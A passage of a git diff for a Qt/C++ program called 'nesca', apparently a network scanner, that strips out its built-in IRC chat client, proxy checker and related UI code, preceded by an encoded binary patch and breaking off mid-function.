z1J}#$6n9phW-BB+RT4Ariu9QMm}3Ph$S0%jo|&P61#H;Nxo~^}1khfn*cC;svPaF! z;fXLXr9r7QT2<~@IAc_L<#tMx6hSG#l?EY2-~Iqc$JrH@BCwv9N9m-S%Koh;S<-2? z&l(zC!TUgabj)N?OVObm9M1Ohmh>7jt<J*-IvYHE$7P4Ynr{q#E$TcxGBq6om+NW6 z>_z(rGJ^(6x}`ltq}b}ZnvWHRu^7IDP3@HRa!gJSqjxU8Nt$TR9R}vKfr8Qga=lk^ z7Efi~r9@iOBY)-&F|NmC;4w~@I-Wk=q1hJf6OB!ohCP7&0l@$ZR?;@8p?Y4F3COOe z8IwM5mw@}Y~sL~(omb5CDtKM-crFs@hysvn9y39Eem31x2ws^H+4p~%djj~7Rw zkTr@<?);H%&NT^HW)gZK<OgYIGqyl9l#tQ!3%4+RYUpF=SU^I*g<nuFAjckfea2OH zs|!vB-$WX?uE8dJ4cFe3qTNUsWJAV)sOQJNcm2RY#kbh;iA_{>hu<0u6Tm9QL?TdZ zTL6&!gmR8(;Jb%@18oNjH%p>EdZaqXIWJa{`J!u5W|Riy7&+z4*&hp+vyqxo(*vdn zQHyMe)&Ivr<k<oP1UI9MzB9XgO`bIJaX5HlD$e)>><>L3BtY(c$0C~U_xgt#_1BJB z6;j*9bSI6b+xt*mJ=FGFJ86W~5#GU*L-IxN`@T<$oX=)kQ3DX2AQCLVGOP3@yF5{y zmqg77t3(k_CR=B#datsQKx2Yun1YA822d^^jf7}BhGd@9D#5>+->jD}@Y{(Ftka)d zyY-V_6^A%j*+)XfqIic)zz%_dT0oCF3`<klV28^MYMs$I+>C;musDf`F@al@In-^X zp2xel1@%x2uy?S3DY#Y(_f+r0aOG2Jx9M0k=Cg=1I?|GsbDl9TcDH2kK*cuY%eNoE zer-Am79SaQwn_j_@ERZ3M|l9w=BXJ_;UMOl&`qF!|370DAo?3t8_N)AFVMQi1@G5% zK5~*OgPZN$JtPqIQCxWMq_4l!i;w2marOr7M;!*eA%t>8ElE~a{>xS90<Dn(Q67va zB5`3=ouMzr7mOU~x*D~PsAlHZmA|C8$=K}-Vg!YhaSkWlmyaW!kMjlmG|WKz_pg^f zBQu0+uKhJlvj}U<9`p4%<lZRg!!ljSTNKQ!(@hN-H!e68VrJ~d-(qv2hj6a?BTQ6} zIhTw3?`z4x=pTDq68M{-?u$C7a#H#l4f_vqM>(fjb~|&gX-vwQSCPCidv65b;u^E+ zmcwYZnX|xUr?j#5vr%hS@-{)_QU;kYCLC7r?nO)R+TZk_t#LMu#a<@xXSw5O+=T8C z;o+{)Y*bO_EX_G`RwZqBzf-ZaFg2ctP(@?GcRjVtGVmvkbylneh;WW(7EAjPuh;(R zvW1hR2@!|@FfN-B<qoVJ1ER^3+*`83SEB(42&}88jsCHDbo@?EL|sg44c|{#YID2! z<MskOdN~E%kVc^_AUpCwfF-Viab%Gp3om(ir-TS~8B5bd)G7wC&dJkvQgumzC0#Z{ z-YHL)d@UC4!bDa-IWvUIwO?xnsvR|_CVZ8|4(8dM;+&{VvE?bC7G2G@2l&U|z;d14 z9iA`CBIL=tx92D;3T5c}zPTV!(4j~1+yOm9^>6*%M!bICLUT%Z-LAtr7J_?Y)4SJr zz7{}30?}4@b9F1fMNpIN0mRPZVz)<XteA{(^W$m|{sNDD^=`4Bk*(_&EZj}&>vB>b zfE(-SgSd#c>m3+38Gyec6*ag`YNi)!aOV{8bNg=iIcjRI+fNvcqPrlE;GCJ}`u5pY zA=VjO6kGpX#&F~D>8N-3+j8^mZh4(PA`(2NB;oNPi&-nvs)IWn0LMU$oq>vO6u47@ zY=Wu)u-|qOsx+hBVg2^-yjU*ob}!bQpqtTQyVN&h^<o?CuiAeNm{?nER1lO13zS(X z=2%cQ7&wibnfhq9ICO>bLJtqMe@D}lgZ0E(OA&`1C{o0=s72CL(k#BXl0nygN@0r_ zw3GHo=7qM2&?-4hcYnV5{gbK}%aTguYDB(Nqa3MgI_A~@8N=)scmw>5cCh_BC#Ovy zT&cB$3$0wpkeuSVc=x<Gm^jElRR%;=q$3cN8DG($w|IF2beb|`l7^Fux*HqoqN`cW z$39dYEROy4xo)a-XHFl`nn-^`Gm^;#<5!GbVrHV_^>v4=*6+7hpKdo&QblbZtVqE> z<@qpuOG~nVy4}z8o6uLG4ISolfr;G@pohQ?I`|nCldORx#LEi(%`TmSG6HCY?{s^~ zsm2fOXV28@%m6q)ijngU;~9zJyUV$COUJG>q5W+eTnyJ%g0%Mb7alZ(5ACmJn);-{ zS33uBM~Oq1a~lp`<{3h!ZwvL57J;(=G4>q($o_6iWV*d<GOVT4hjcvb<7S&H?@6Q^ zXWk1n$(cr_g9jYd*#qPnb=8&_Ff{}v=d6v8&_%O);E&=du$ctTt=aXJWHY4b9k_K+ z{|L1hnD0EnfLWa}h1BRMYf#&hed<4xKdCBh!ljBiP-Imw?DtQ_ZYW3@9VXLGi_J9g z>pHBqq;@*-J~>i6Ou%kK8fGOazMiKGazZ^(Oo;SaK^gGkNOHLS8}%EbvWTzZ;1Z;( zPNrbi(%a<ZS}40Wx1BKDtcI#67Z)3YWtPv*`qBk7Sy-%AQvb=qO4bT=oA3JWpcEf3 zof!VvdiQb&;Rz)+D#^>B^Ao8?*%OZ`^x>krJQXFY_G8|ZV8PBS>=q8Pf6NMfN7M+W z9S5ti-jxT|c~+yyij$8e6H956U`N$=ld&};p)$a1S)eptV^-DXM9kLV(_Qv^zHs1p zGRNXlS~A}r2tX*-IGv{`)MmK`FyiTK#he}(4ye~dzx&-?RI(=nXS<x#fbxZ!UgQH7 zxHZbeC!~%0UvZ`Ovux^R^!QG}zDBixA&c`1xT1_fnBI1`K{^+p9!WtV#f}$|k3MZS zTPZ>cU-J3(#Qbn#xvn~m+W@)gC$Q=)v5pHOf%9smIuw+yW^VY<Rq<<DL2<AOCrt#; z1nj1`{>?Ado;%D<lhQn(2p2>~^-B3Xqm^?(9n3${5VXF<uE;I6f58NvZVjHo#g`9M z!>WsBp(u(+Es5jF{gaiZn(p(m$VAMGb^w{Bsy1N#pLf(}z&}<O^5!n{MwICgTNgDU z`g>Ba;aktr-EO^MF|cHS^Cn&alL1XZP#AWYs!cIfD@x`HfG%&ZW;?4UeS3wB9pXZ= zDskO&vQcp+WD>g6$WvA=bpGKjiEunorN@yIN63+LY^*E1I=t*W+strM&2jHz)-j?; z`n6yi6N0s2d43d~Lm=<%4k%v<U0E`jPf$4cEJ{-d<+E)-$;ZN30|PdG-VPzYkv?Ct zs?Zss1z0|#_o$!-7ZzSBzb<jN6%s&%R%ZNn*m135?1}}!sOpmB7b%&uaG`(zAPN<A zbp$f72tkKut<TY6aC|W72G9kOuCJ3&W(WwlIzKABUQ^;Vs}W%g&T7JbT?`RWsEXrS zI8c0#=)hu1WK{7L39iBNBEBM(=6KeEC1dBWSQ{_t&uGHg#^ZARu(?IsRX8nwvQG(? zL5G1$8iH3096UmBPN08j54`qwsE-$!9JC-pWihd85VXJJpdq9g%xHJClLb;%JGfYA zR4AUZMTw&nBUqyZU9}S0kPX1B-)^&Hk&Y@;#vgDWmWy0HI%KhB=Wu8&EZShsM|Z>R zHgs~TPgbwgetQ|n4td^{JWG+O)tNJD0E#u8zHy&19Gt;a!BUyN>p+G=+ST2j_Nx7) zno)y^_c;w?_B_RWQ$gE0S%1fU5sbvR{0T%vR1>eB{9^q>hOoAcJcc&law{>v5pL#E zIq#E8_An@QV7EXPMoH>nje`7|eeE<d$*^{A4w7c_=I;zg3d+X(kyd0+Rdq!+LtTRt zm>6_ey;~mA2=jKpSr6KR_kSQQ!=)Rweij`P?jh9_DvDnY@8)ynqRaIHT)xG}`#T_c zy+4XOxwGEiAVB@vWRk)e^oTSO<&S35!*Yi8o?G1{Iu7kuc5+&4uW*`ZU0fVp1@y{I zBoGUhm7VW5YOZx<og&~#!<MTsP2qjxDO)_JOFw1pUk6mG22(Nme0ig~9#Cnzo1<)4 z#?+h=wbtOowm~eEmvE`@gobSa0~<eFkljn5fFvA|`?1=B@dkI9E`*G}PRYwdk*93) z+U;L6X;M9fcW>~J8LC6(;7*JHw8%QoBFh*PCPr6WM?QEB%TH3FWlnaHF+c%^pP1^j zK^KXqZLO74<#^;|7Dw>RxQT1OD(Bgcozz<KHEkIhf@?FJzpU?8i+cjp`mszdcoG-{ z%-MG~u=w|sE{ib5C6fdu6Yp0bs=K8f{4BtTAl%>Ir`!FP#r>0jveHj}n#qYX&5A`f z$d0gJklqzn*Z7&eb5Lt3_ZxW_JxN?3r0pnRt>$vTOQpSEHj|6v<T##OOnYcpa~x04 zX7V$BMd9ao;inU9eEzjgCQz4{%60Nn*286n_BC_CxT-g{-Iyq3;b|uG-_5i%#LVrN zylHafWXXq#A4y^6HQXz;nQCC1FJvLs{tF6L_1~j2s+jN596|fXP3jp@2N96T2i80X z981xr|F5UF)N+t^LaJQkn-Yf#5_&kNa(w>=QL-)FLX>DPH@hzzDG3WQ|BUI>Ktt{| zlC{y;O^?}X^r@IvaFHsUaxD=hCm<H~hj0#m)v@&t?S`K~1=5C89Fz2Bpq~suKau)V z;D-N~A|I?OJFl!O3!GXECSF#ppV5ZWesmL*oIMlOL|}o0=1d*oqG!?NARRVqNyt13 z7yavIH~+fB%ZUMTf*JzJ_A`1b3IVv~AXZpNBA}VdA;f<N)(o@uc8>@NB`O3xaB@BT zWFoeHWeu{Q3z&Lhkr#_}IainB_D>fF$yx}KUAP}u2>f<%x`eVq^QY=+G@b?27g^L- zl_kyhKx)PK77kk&)R_HL+r~5CY`;Kv{aTQ!DK}*5r=00B@dK%o62ZyA;i&?>SLy1$ zs3=fzo@jw&2P@K;Px5AKVgkd`DU_<CJx{+K9wj~h6)2&Mc8<t|mcHqpB~;^Q;0GYd z^PtRh5d5%FbYHo(feOxyE>y62MNfDK(tD+8hS^?fbH>=~P+0<2GzV*Ghj0<rYKEqb zOWFEk6wLqj>GB<l=F#P^uh?XVL26_(`$1YD4-K!6$qrf4i*RbfK?@m?e@worHZa1N zx#Y37vZUEQhZ4sI+t*gk#Rs>bzASK?f|{1Sdy#`J-Xh>sh|c0gl&*no4ti~LH1Yov zxPs7(pcec6{${DQ1#yKtWd(u6W-OwxW$yIcia7+?^#C9EOq(6jMfT_04J(Vm5P`xY zzvDuiJpZx2WWXPR6?r*8!|TK9=HYUifxWAek=8^e1GVDXdG99At8u5Eto^Di(QvU} z(OYIHea<=|@Ketx=d;V3*~KN~HoJ9RF=q|l&vlKcJ?+zUd$*1??cF;DT9X#czekPM zch^<HZ`I^sbAJFhXW=CHf2ym^B$mvGI~M!I3fZYoH@5SGl;h+4-^dI`S+yj?!H}zW z0I*REm*bmJ+E0)|EmGGX@r4dsy*|A@dj?clE|@KN_OHXg+CP|S5)T;yVq?0nTZCS( zuMe}0(@ATGO46G)_@s0zZl9y0fIj=4aS19IK&<qW9XPB+MF=?luhjf>7>%Z)o%WYY znq<1DVdV%o<&>G*7-u2?p{qP(uDq<7cwCUaEfAu`Wj(Uel|YC?<;8qk?~?Gl?x4J& zI=)kvyQ;Kp?FXf4!C}(l8RlM8p?BgK5{(9olp62^TyO;Sm3B0polUWoklG=*A<Ihx zDDLA6gxDyf41a&}u#}Q-pl>RcAyO5*C2C|OPDTwT>bvjJ&=;fy^=(~2Mz!OjF&FFM z`1h_|n23e^0WElN?l-o1syHeoenhXV?gb%YAn#DBBJ8rzxCIhREC-~b^I@yZ#Um&A zgLc>RAw!`Ms3OmnoN8_KRR(E|?P05n!<{^GSiwZ*vc#RtpQ%?tL_}a_!nD6;jF7u` zF|AX%0%I&77<&g{`IC95N9_lQl-@00WWnf^x&*^(^u(9h{^mhW>zruV2o5D^y8!In zGSPsQ{^#{!1qkINT`l&P4>upVzMKy=SOrB^piI^IXZ``)JTG0C%M;)qVX^2!sRMN{ z;2em?a5VT|#fS<-BC(rD(D4w(#COjgBCA%L-5C9NCphJX!Vnz}Ot2j5FOC?J?+k;m zOn2xm$=B8wwy*3x`(Mksuyh1`d`uix-+l%=Q<mGQ&4jxn=x+-mdJKT{;a_){uhtni z1T-JVk+weA63D<rAIb7_0s1cqH5g~s&R@OULRu&lc{E0q`*dq7Q2H1&rr9TQUGJh{ z*<S$<Sshl2i0d*8p&s)oJgTvl=lD-a_J}TQwx2K7vjegxoz_p%L@&lM6CCOgC(BDX zb6~~#)N0gKOBDbBo>F=B2#dDIZ7V|-Y`EBdKBUMD@y2C=h=?2TE1ba1Xd><r)7(<z ziR&`i@?E=H)4Wm}O8#^5ZL^$9-pSX<RajREhF-Io-1@Z}qP<s;^c#2+?JsAVY?Gs= zy0d0%5k3e*aIiis9>E>}gJ277$W)2`&br8vh@7@S10PVI&Nxzxt|E%XRGsJKUVS+G z*T2{ZW%sh(Z{B2^H%1(k`h<bq<IWM3M7qR8npn4a(D)NsMsXg;yjne`!wBQpuC@LV z$qLA!;wb9_R`JPv|NAwbv;F<fY9pvewNBX$7z#j1P9Cx}{a(Zp+uyLh60ytUCr!=U zbM`3sFq}{Czp(fw=VVkQ&pYov)AV%UvvY&wATO~jVr<x19mR+!a9U7P^%L7?bQtWW zj$~2{-+>LbT?TI-d-P-t;K6!3v1Wy>Pe<gC%fWH<0YgksR%(HZV(nz0B2J}=JhK}L z$n(IXE*3fni<4O)`u|Gn{>VDQYfe0$#~TBppK&N*ke;2R)af2}>t69K8ZNkj6RSiu zaZQ&e6$?kM?GBL<3rTJ15-QzAb5H$R$r)lKYl;~<O#7h0>T~piijtNVYk=ajhLu(G z<#4#7KDgLa&QUT%s?<ZTXy(MeI~Sh(;oAb*a8UEL!UEPG1>y|L4g=eMRFWo*1HT3! z-+)47)%ZYw;59Eh-Ln4lMM=_ZnI6;SY`$56zRy7O>-<qbIi_8l3yj2-jsSul(t~8h zw10O~FILlSC>ykKnE-Hgdyao(U4ae{e%cVQcr%{#EKo_=?SC$ZXX?o?VnE1qK`$I` zbDI>c1TaiZ;njz)Z+7X!8?=IYex9KVFmj~Gbnahf$J3J|O6q|zJya=(-~Nd_N(aM@ zHLd})8M4*vCs^jS34M=LCog30s_WcLA0f;11>}X56!de)4t``T|M{!a9x<Z^icW_G zQ=fOGwvxEsHJAVrdL-6`Y^J4H!3=ofh1-|z$lxHcdl(Qf1;s>94E2WKJ!dogW2Z4` z)QR=29(wG+pa)@9+|{wpAF^nOXn<g#3~evxx^|9u=-N}E!J+Liz2^-_Tl>o;{eN`v z^_$G15X7t@4E7?Avg?VsOMe0Y$otx4tV5Z;({eKP(gUA1KSidSXO2sTVCe$z-R<cf zAvwzwo;{Z>%3TrC(yI%vBEBE7@WYlr$|aDX)IY~7fMMOa<-qv|)_!Wo0bWXd2Rp9G ze#tU$oItH4^skW&y@Y26CG?_{K2!}yBBlS<N$E!*M+hpMUGV3C{-AG6P{u{W?bm31 z@9oDgtn8QZ>{5s=e;9RjkuhZ1zEHf0<?<V{GD55Ck7dow;>7<-EDiQFkGsMn<p=8M z@Sgu|;IAvIt5=)Tr$7Zzw%y%fuSyj^!SZp#8MVQKbPiCkJg0{HBQF@#(UjvtA4|{) z7(uH{V2;rgTl;25uaZv&+Ey+zSW;N={)3aunXAh%%@8KxUEw#cis7vHtBpZPJoFUQ awJxw3j}tLMcJrXN*`|Cx3Ii!GSMvWJ{lstp literal 0 HcmV?d00001 diff --git a/nesca.pro b/nesca.pro index 5df5184..5395b3a 100644 --- a/nesca.pro +++ b/nesca.pro @@ -20,18 +20,14 @@ SOURCES +=\ ActivityDrawerTh_HorNet.cpp \ base64.cpp \ CheckKey_Th.cpp \ - CheckProxy_Th.cpp \ DrawerTh_GridQoSScanner.cpp \ DrawerTh_HorNet.cpp \ DrawerTh_ME2Scanner.cpp \ DrawerTh_QoSScanner.cpp \ DrawerTh_VoiceScanner.cpp \ - irc_nmblinker.cpp \ - IRCPinger_Th.cpp \ msgcheckerthread.cpp \ nesca_3.cpp \ nesca_startModule.cpp \ - oIRC_Th.cpp \ piestat.cpp \ progressbardrawer.cpp \ STh.cpp \ @@ -50,7 +46,6 @@ SOURCES +=\ HEADERS += ActivityDrawerTh_HorNet.h \ base64.h \ CheckKey_Th.h \ - CheckProxy_Th.h \ DrawerTh_GridQoSScanner.h \ DrawerTh_HorNet.h \ DrawerTh_ME2Scanner.h \ @@ -58,12 +53,9 @@ HEADERS += ActivityDrawerTh_HorNet.h \ DrawerTh_VoiceScanner.h \ externData.h \ externFunctions.h \ - irc_nmblinker.h \ - IRCPinger_Th.h \ mainResources.h \ msgcheckerthread.h \ nesca_3.h \ - oIRC_Th.h \ piestat.h \ progressbardrawer.h \ resource.h \ diff --git a/nesca_3.cpp b/nesca_3.cpp index 8cc906c..b3bf5bd 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -3,9 +3,6 @@ #include "nesca_3.h" #include "CheckKey_Th.h" #include "DrawerTh_QoSScanner.h" -#include "oIRC_Th.h" -#include "IRCPinger_Th.h" -#include "CheckProxy_Th.h" #include "STh.h" #include "msgcheckerthread.h" #include "vercheckerthread.h" @@ -32,9 +29,7 @@ QDate date = QDate::currentDate(); int ver = 100*(100*(date.year()%100) + date.month()) + date.day(); #define VER 130706 #define WIDGET_WIDTH 500 -//#define IRC_CHAN "iskopasi_lab01" -bool utfIRCFlag = true; bool HTMLDebugMode = false; bool code160 = false; bool gDebugMode = false; @@ -62,11 +57,6 @@ int nesca_3::savedTabIndex = 0; bool dFlag = false; bool startFlag = false; bool trackerOK = true; -char ircServer[32] = {0}; -char ircPort[32] = {0}; -char ircProxy[64] = {0}; -char ircProxyPort[8] = {0}; -char ircNick[32] = {0}; char trcPort[32] = {0}; char trcSrvPortLine[32] = {0}; char trcProxy[128] = {0}; @@ -85,18 +75,14 @@ DrawerTh_HorNet *dtHN = new DrawerTh_HorNet(); DrawerTh_ME2Scanner *dtME2 = new DrawerTh_ME2Scanner(); DrawerTh_QoSScanner *dtQoS = new DrawerTh_QoSScanner(); DrawerTh_GridQoSScanner *dtGridQoS = new DrawerTh_GridQoSScanner(); -CheckProxy_Th *chPTh = new CheckProxy_Th(); -IRCPinger_Th *ircPTh = new IRCPinger_Th(); -oIRC_Th *ircTh = new oIRC_Th(); CheckKey_Th *chKTh = new CheckKey_Th(); ActivityDrawerTh_HorNet *adtHN = new ActivityDrawerTh_HorNet(); DrawerTh_VoiceScanner *vsTh = new DrawerTh_VoiceScanner(); -IRC_NMBlinker *irc_nmb = new IRC_NMBlinker(); +//IRC_NMBlinker *irc_nmb = new IRC_NMBlinker(); PieStat *psTh = new PieStat(); ProgressbarDrawer *pbTh = new ProgressbarDrawer(); bool MapWidgetOpened = false; -bool connectedToIRC = false; bool globalScanFlag; float QoSStep = 1; int MaxDataVal = 1; @@ -117,8 +103,6 @@ QSystemTrayIcon *tray; QTextCodec *codec = QTextCodec::codecForName("Windows-1251"); QWidget *qwm; -QString globalIRCText; -QString globalIRCRaw; PopupMsgWidget *msgWdgt; QPen rpen(QColor(255, 0, 0, 190), 0.1, Qt::DotLine); @@ -158,7 +142,6 @@ bool BALogSwitched = false; bool widgetIsHidden = false; bool blinkFlag = false; bool printDelimiter = false; -bool IRCLogToggled = true; int PhraseIndex = 0; QList<QString> PhraseLog; bool ME2ScanFlag = true, QoSScanFlag = false, VoiceScanFlag = false, PieStatFlag = false; @@ -238,34 +221,6 @@ void setButtonStyleArea() "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" "}" ); - - ui->IRCConnectBut->setStyleSheet( - " #IRCConnectBut {" - "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" - "color: #919191;" - "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" - "}" - - " #IRCConnectBut:hover{" - "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" - "color: #D1D1D1;" - "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" - "}" - ); - - ui->IRCCheckProxyBut->setStyleSheet( - " #IRCCheckProxyBut {" - "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" - "color: #bfb800;" - "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" - "}" - - " #IRCCheckProxyBut:hover{" - "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" - "color: #e9e100;" - "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" - "}" - ); ui->importButton->setStyleSheet( " #importButton {" "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" @@ -472,9 +427,7 @@ void SetValidators() validator = new QRegExpValidator(QRegExp("(\\w|-|\\.)+((\\w|-|\\.)+)+"), NULL); ui->lineILVL->setValidator(validator); - validator = new QRegExpValidator(QRegExp("\\d{1,5}"), NULL); - ui->serverPortBox->setValidator(validator); - ui->ircProxyPort->setValidator(validator); + validator = new QRegExpValidator(QRegExp("\\d{1,5}"), NULL); ui->trcSrvPortLine->setValidator(validator); validator = new QRegExpValidator(QRegExp("[a-zA-Z0-9]{32}"), NULL); @@ -725,11 +678,6 @@ void nesca_3::slotQoSAddGrid() }; } -void nesca_3::setNickBox(QString str) -{ - ui->ircNickBox->setText(str); -} - void nesca_3::slotAddLine(int x1, int y1, int x2, int y2) { sceneGrid->addLine(x1, y1, x2, y2, pen); @@ -1275,66 +1223,34 @@ void nesca_3::switchDataFields() }; } -void nesca_3::slotBlinkMessage() -{ - if(blinkFlag) - { - blinkFlag = false; - ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);"); - ui->IRCModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); - } - else - { - blinkFlag = true; - ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 255);background-color: rgba(2, 2, 2, 0);"); - ui->IRCModeBut->setStyleSheet("color: rgb(255, 0, 0);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 0, 0, 255);"); - }; -} +//void nesca_3::slotBlinkMessage() +//{ +// if(blinkFlag) +// { +// blinkFlag = false; +// ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);"); +// ui->IRCModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); +// } +// else +// { +// blinkFlag = true; +// ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 255);background-color: rgba(2, 2, 2, 0);"); +// ui->IRCModeBut->setStyleSheet("color: rgb(255, 0, 0);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 0, 0, 255);"); +// }; +//} void nesca_3::slotTabChanged(int index){ if(index < 2) savedTabIndex = index; } -void nesca_3::ChangeDispalyMode() -{ - if(widgetIsHidden == false && tray->isVisible() == false) - { - ui->IRCModeChangerBut->setVisible(true); - blinkFlag = false; - widgetIsHidden = true; - ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);"); - ui->JobModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); - ui->IRCModeBut->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);color: rgb(0, 214, 0);"); - ui->widgetJOB->setGeometry(QRect(500, 44, 500, 730)); - ui->widgetIRC->setStyleSheet("background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));"); - ui->widgetIRC->setGeometry(QRect(1, 44, 498, 730)); - ui->shoutBox->setFocus(); - QWidget::activateWindow(); - msgWdgt->hide(); - } - else - { - ui->IRCModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); - ui->IRCModeChangerBut->setVisible(false); - disableBlink = false; - blinkFlag = true; - widgetIsHidden = false; - printDelimiter = true; - ui->widgetIRC->setGeometry(QRect(500, 44, 500, 730)); - }; -} - void nesca_3::switchToJobMode() { if(ui->widgetJOB->geometry().x() == 500) - { - ui->widgetIRC->setGeometry(QRect(500, 44, 500, 730)); - ui->IRCModeChangerBut->setVisible(false); + { widgetIsHidden = false; ui->widgetJOB->setGeometry(QRect(1, 44, 498, 730)); ui->JobModeBut->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);color: rgb(0, 214, 0);"); - ui->IRCModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); - } + } else { ui->widgetJOB->setGeometry(QRect(500, 44, 500, 730)); @@ -1342,140 +1258,6 @@ void nesca_3::switchToJobMode() }; } -void nesca_3::CheckProxy() -{ - saveOptions(); - - QStringList qsl; - if(ui->ircProxy->text().contains(":")) - { - qsl = ui->ircProxy->text().split(":"); - - ui->ircProxy->setText(qsl[0]); - ui->ircProxyPort->setText(qsl[1]); - }; - - chPTh->doEmitChangeYellowIRCData("Checking " + ui->ircProxy->text() + ":" + ui->ircProxyPort->text() + "..."); - chPTh->start(); -} - -void nesca_3::slotIRCOfflined() -{ - CSSOCKET(lSock); - ui->IRCConnectBut->setStyleSheet( - " #IRCConnectBut {" - "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" - "color: green;" - "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" - "}"); - ui->IRCConnectBut->setText("Connect"); - ui->ircText->append("<span style=\"color:#efe100;\">[-//-] Disconnected.</span>"); -} - -void nesca_3::ConnectToIRCServer() -{ - QStringList qsl; - if(ui->ircServerBox->text().contains(":")) - { - qsl = ui->ircServerBox->text().split(":"); - - ui->ircServerBox->setText(qsl[0]); - ui->serverPortBox->setText(qsl[1]); - }; - - if(ui->ircProxy->text().contains(":")) - { - qsl = ui->ircProxy->text().split(":"); - - ui->ircProxy->setText(qsl[0]); - ui->ircProxyPort->setText(qsl[1]); - }; - - if(ui->ircServerBox->text() != "") - { - if(ui->serverPortBox->text() != "") - { - if(ui->IRCConnectBut->text() == "Connect") - { - if(!ircTh->isRunning()) - { - if(ui->ircProxy->text() != "" && ui->ircProxyPort->text() != "") proxyEnabledFlag = 1; - - iWantToConnect = true; - ui->IRCConnectBut->setStyleSheet( - " #IRCConnectBut {" - "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" - "color: red;" - "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" - "}"); - ui->IRCConnectBut->setText("Disconnect"); - if(proxyEnabledFlag) ui->ircText->append("<span style=\"color:#efe100;\">[*] Using proxy " + QString(ircProxy) + ":" + QString(ircProxyPort) + ".</span>"); - else ui->ircText->append("<span style=\"color:#efe100;\">[*] No proxy selected! Connecting directly...</span>"); - ircTh->start(); - } - else - { - ui->ircText->append("<span style=\"color:#efe100;\">[...] Wait...</span>"); - }; - } - else - { - iWantToConnect = false; - - ui->IRCConnectBut->setStyleSheet( - " #IRCConnectBut {" - "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" - "color: green;" - "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" - "}"); - ui->IRCConnectBut->setText("Connect"); - ui->ircText->append("<span style=\"color:#efe100;\">[-//-] Disconnected.</span>"); - - CSSOCKET(lSock); - }; - } - else - { - - ui->ircText->append("<span style=\"color:red;background-color:#313131;\">No IRC port specified!</span>"); - - }; - } - else - { - - ui->ircText->append("<span style=\"color:red;background-color:#313131;\">No IRC server specified!</span>"); - - }; - - saveOptions(); -} - -void nesca_3::ChangeIRCRawLog() -{ - if(ui->IRCModeChangerBut->text() == ":IRC raw") - { - IRCLogToggled = false; - ui->IRCModeChangerBut->setText(":IRC log"); - ui->ircText->lower(); - ui->ircRaw->raise(); - } - else - { - IRCLogToggled = true; - ui->IRCModeChangerBut->setText(":IRC raw"); - ui->ircText->raise(); - ui->ircRaw->lower(); - }; -} - -void nesca_3::ChangeNick() -{ - 